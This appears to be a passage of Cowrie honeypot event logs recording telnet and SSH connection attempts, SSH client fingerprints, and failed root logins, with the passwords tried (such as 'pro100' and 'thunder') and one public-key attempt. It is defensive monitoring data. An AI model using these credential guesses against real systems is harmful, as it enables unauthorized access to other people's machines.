{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60928,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f15252542b3","protocol":"telnet","message":"New connection: 192.119.13.58:60928 (10.17.0.5:23) [session: 0f15252542b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:34:30.644203Z"}
{"eventid":"cowrie.session.closed","duration":40.94042611122131,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:34:32.342652Z","src_ip":"192.119.13.58","session":"1b0b1498e85b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.87527894973755,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:34:33.235119Z","src_ip":"192.119.13.58","session":"10348edd0084","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53164,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ad84edb8114","protocol":"telnet","message":"New connection: 192.119.13.58:53164 (10.17.0.5:23) [session: 6ad84edb8114]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:34:35.690440Z"}
{"eventid":"cowrie.session.closed","duration":36.39172387123108,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:34:35.990867Z","src_ip":"192.119.13.58","session":"00b3b0fa9f6c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59998,"dst_ip":"10.17.0.5","dst_port":23,"session":"e33685c87ab3","protocol":"telnet","message":"New connection: 192.119.13.58:59998 (10.17.0.5:23) [session: e33685c87ab3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:34:37.342330Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":35392,"dst_ip":"159.203.135.109","dst_port":22,"session":"b03343eab73e","protocol":"ssh","message":"New connection: 51.250.105.222:35392 (159.203.135.109:22) [session: b03343eab73e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:34:38.123468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:34:38.127558Z","src_ip":"51.250.105.222","session":"b03343eab73e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:34:38.253127Z","src_ip":"51.250.105.222","session":"b03343eab73e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pro100","message":"login attempt [root/pro100] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:34:38.630786Z","src_ip":"51.250.105.222","session":"b03343eab73e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":34930,"dst_ip":"10.17.0.5","dst_port":22,"session":"dbbd5a6ff92b","protocol":"ssh","message":"New connection: 89.223.69.22:34930 (10.17.0.5:22) [session: dbbd5a6ff92b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:34:39.200984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:34:39.205969Z","src_ip":"89.223.69.22","session":"dbbd5a6ff92b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.412579774856567,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:34:39.290237Z","src_ip":"192.119.13.58","session":"7ada131ce25a","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:34:39.318588Z","src_ip":"89.223.69.22","session":"dbbd5a6ff92b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"thunder","message":"login attempt [root/thunder] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:34:39.658745Z","src_ip":"89.223.69.22","session":"dbbd5a6ff92b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:34:39.758312Z","src_ip":"51.250.105.222","session":"b03343eab73e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44396,"dst_ip":"10.17.0.5","dst_port":23,"session":"2acd29a7d226","protocol":"telnet","message":"New connection: 192.119.13.58:44396 (10.17.0.5:23) [session: 2acd29a7d226]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:34:40.372478Z"}
{"eventid":"cowrie.session.closed","duration":0.005082130432128906,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:34:40.377434Z","src_ip":"192.119.13.58","session":"2acd29a7d226","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:34:40.772799Z","src_ip":"89.223.69.22","session":"dbbd5a6ff92b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34086,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2ee1aa0744b","protocol":"telnet","message":"New connection: 192.119.13.58:34086 (10.17.0.5:23) [session: b2ee1aa0744b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:34:44.481627Z"}
{"eventid":"cowrie.session.closed","duration":48.502538442611694,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:34:44.687460Z","src_ip":"192.119.13.58","session":"6caf6c8eef2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.100.175","src_port":53266,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d36169de3ad","protocol":"ssh","message":"New connection: 43.134.100.175:53266 (159.203.135.109:22) [session: 4d36169de3ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:34:46.056928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:34:46.061870Z","src_ip":"43.134.100.175","session":"4d36169de3ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:34:46.307570Z","src_ip":"43.134.100.175","session":"4d36169de3ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kannel","message":"login attempt [root/kannel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:34:47.320618Z","src_ip":"43.134.100.175","session":"4d36169de3ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.109.25.130","src_port":47452,"dst_ip":"159.203.135.109","dst_port":22,"session":"a59b78c39810","protocol":"ssh","message":"New connection: 150.109.25.130:47452 (159.203.135.109:22) [session: a59b78c39810]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:34:47.877942Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:34:47.882624Z","src_ip":"150.109.25.130","session":"a59b78c39810","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:34:48.129187Z","src_ip":"150.109.25.130","session":"a59b78c39810","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:34:48.569761Z","src_ip":"43.134.100.175","session":"4d36169de3ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"5421","message":"login attempt [root/5421] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:34:49.145887Z","src_ip":"150.109.25.130","session":"a59b78c39810","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:34:50.394765Z","src_ip":"150.109.25.130","session":"a59b78c39810","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44110,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4f2b6fd04cb","protocol":"telnet","message":"New connection: 192.119.13.58:44110 (10.17.0.5:23) [session: b4f2b6fd04cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:34:53.743236Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50670,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c580bb37e38","protocol":"telnet","message":"New connection: 192.119.13.58:50670 (10.17.0.5:23) [session: 2c580bb37e38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:34:55.214205Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56146,"dst_ip":"10.17.0.5","dst_port":23,"session":"a59f9be021f7","protocol":"telnet","message":"New connection: 192.119.13.58:56146 (10.17.0.5:23) [session: a59f9be021f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:34:56.554279Z"}
{"eventid":"cowrie.session.closed","duration":35.84569692611694,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:34:58.295485Z","src_ip":"192.119.13.58","session":"7d89d3c0fe52","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.2629234790802,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:34:58.495952Z","src_ip":"192.119.13.58","session":"23d5bb0d5d67","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.70996117591858,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:34:59.432451Z","src_ip":"192.119.13.58","session":"5d0ef598259b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49198,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ee12ef1e217","protocol":"telnet","message":"New connection: 192.119.13.58:49198 (10.17.0.5:23) [session: 4ee12ef1e217]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:01.685848Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50604,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b66fccfe3b2","protocol":"telnet","message":"New connection: 192.119.13.58:50604 (10.17.0.5:23) [session: 1b66fccfe3b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:01.999439Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52762,"dst_ip":"10.17.0.5","dst_port":23,"session":"2099506893de","protocol":"telnet","message":"New connection: 192.119.13.58:52762 (10.17.0.5:23) [session: 2099506893de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:02.490608Z"}
{"eventid":"cowrie.session.closed","duration":34.36851167678833,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:05.012558Z","src_ip":"192.119.13.58","session":"0f15252542b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35638,"dst_ip":"10.17.0.5","dst_port":23,"session":"50bb599ad0b5","protocol":"telnet","message":"New connection: 192.119.13.58:35638 (10.17.0.5:23) [session: 50bb599ad0b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:05.290484Z"}
{"eventid":"cowrie.session.closed","duration":36.6897406578064,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:05.412514Z","src_ip":"192.119.13.58","session":"dfb327e08b8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41522,"dst_ip":"10.17.0.5","dst_port":23,"session":"432263975232","protocol":"telnet","message":"New connection: 192.119.13.58:41522 (10.17.0.5:23) [session: 432263975232]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:06.761303Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43296,"dst_ip":"10.17.0.5","dst_port":23,"session":"6677d0f84066","protocol":"telnet","message":"New connection: 192.119.13.58:43296 (10.17.0.5:23) [session: 6677d0f84066]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:07.208552Z"}
{"eventid":"cowrie.session.closed","duration":6.6261069774627686,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:08.625426Z","src_ip":"192.119.13.58","session":"1b66fccfe3b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.147.191","src_port":7642,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b000d703eb3","protocol":"ssh","message":"New connection: 45.148.147.191:7642 (10.17.0.5:22) [session: 4b000d703eb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:08.767052Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:08.771909Z","src_ip":"45.148.147.191","session":"4b000d703eb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:08.863987Z","src_ip":"45.148.147.191","session":"4b000d703eb3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c5:a4:a5:e8:1c:c2:f2:e3:9c:15:69:3d:5f:61:1d:9f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwxjaYptuTkDfVi1tMUeQdJKM2vRDmff5hLf/TRO2BhdKexmJ8WLZ7GatAWtkRFJOAymue3jZr1hZSvbiwoYwHtmv2M0GULmkSt79vbhdUUFImb5DfcPFlPxkMaiPcPze7mvIk3T5jNIJHwTgEY+89xudxYzVwIeXPV7e2CrV3ula+LwDVqTYlbV1Yu0UbvWbO+lOGJ02f4PA/akjExsDS0S0DpESK8QCrFvYikAYNHjYJftkdVUo4+Wg52LyTDkXgjuoH5K2AxN+louGqAuJZJB9xrWb3gGa39M62p0kTPuRfoRAGe48hAxWo1K9hkJZhmDf7/Ayw5Y3KiMK4B+iRw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c5:a4:a5:e8:1c:c2:f2:e3:9c:15:69:3d:5f:61:1d:9f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:09.278032Z","src_ip":"45.148.147.191","session":"4b000d703eb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c5:a4:a5:e8:1c:c2:f2:e3:9c:15:69:3d:5f:61:1d:9f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwxjaYptuTkDfVi1tMUeQdJKM2vRDmff5hLf/TRO2BhdKexmJ8WLZ7GatAWtkRFJOAymue3jZr1hZSvbiwoYwHtmv2M0GULmkSt79vbhdUUFImb5DfcPFlPxkMaiPcPze7mvIk3T5jNIJHwTgEY+89xudxYzVwIeXPV7e2CrV3ula+LwDVqTYlbV1Yu0UbvWbO+lOGJ02f4PA/akjExsDS0S0DpESK8QCrFvYikAYNHjYJftkdVUo4+Wg52LyTDkXgjuoH5K2AxN+louGqAuJZJB9xrWb3gGa39M62p0kTPuRfoRAGe48hAxWo1K9hkJZhmDf7/Ayw5Y3KiMK4B+iRw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:09.281841Z","src_ip":"45.148.147.191","session":"4b000d703eb3","protocol":"ssh"}
